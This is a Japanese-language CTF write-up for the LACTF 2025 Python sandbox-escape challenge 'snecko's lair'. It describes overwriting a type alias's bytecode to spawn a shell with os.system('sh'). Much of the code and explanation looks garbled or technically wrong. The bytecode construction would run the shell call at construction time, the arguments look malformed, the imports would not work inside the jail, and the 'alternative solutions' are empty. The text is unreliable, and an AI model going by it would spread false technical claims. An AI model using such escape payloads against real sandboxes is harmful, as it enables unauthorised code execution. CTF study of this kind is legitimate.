LACTF 2025 - snecko's lair
Challenge
Python 3.14+ の型エイリアス機能を使った高度な pyjail。
# Python 3.14+from typing import TypeAliasType
# 型エイリアスの定義type Point = tuple[float, float]
# 制限された evalcode = input()eval(code, {'__builtins__': {}, 'Point': Point})Solution
TypeAliasType の内部構造
Python 3.14 では TypeAliasType は evaluate_value メソッドを持ち、遅延評価される。このメソッドの __code__ を上書きできる。
__code__ の上書き
# TypeAliasType.evaluate_value の __code__ を悪意のあるコードに置換Point.__value__.__code__ = malicious_codeバイトコードの構築
# os.system('sh') を実行するバイトコードimport types
code = types.CodeType( 0, 0, 0, 0, 0, 0, b'd\x00S\x00', # LOAD_CONST 0, RETURN_VALUE (__import__('os').system('sh'),), (), (), '', '', 0, b'')Technical Details
PEP 695: Type Parameter Syntax
Python 3.12+ で導入された型パラメータ構文:
# 新構文type Point = tuple[float, float]type Vector[T] = list[T]
# TypeAliasType オブジェクトが作成されるtype(Point) # <class 'typing.TypeAliasType'>遅延評価の仕組み
# 型エイリアスの値は遅延評価されるtype Lazy = some_expensive_computation
# アクセス時に evaluate_value が呼ばれるLazy.__value__ # ここで評価evaluate_value の構造
# TypeAliasType.evaluate_value は通常の関数# __code__ 属性を持つPoint.__class__.evaluate_value.__code__
# これを上書きすると任意コード実行Alternative Solutions
別解1: __value__ のモック
# __value__ プロパティを悪用別解2: 型パラメータの再帰
# 再帰的な型定義で無限ループtype Recursive = RecursiveFlag
lactf{...}
References
- LACTF 2025 Official
- https://hackmd.io/@r2dev2/S1P0RYHYke
- PEP 695 - Type Parameter Syntax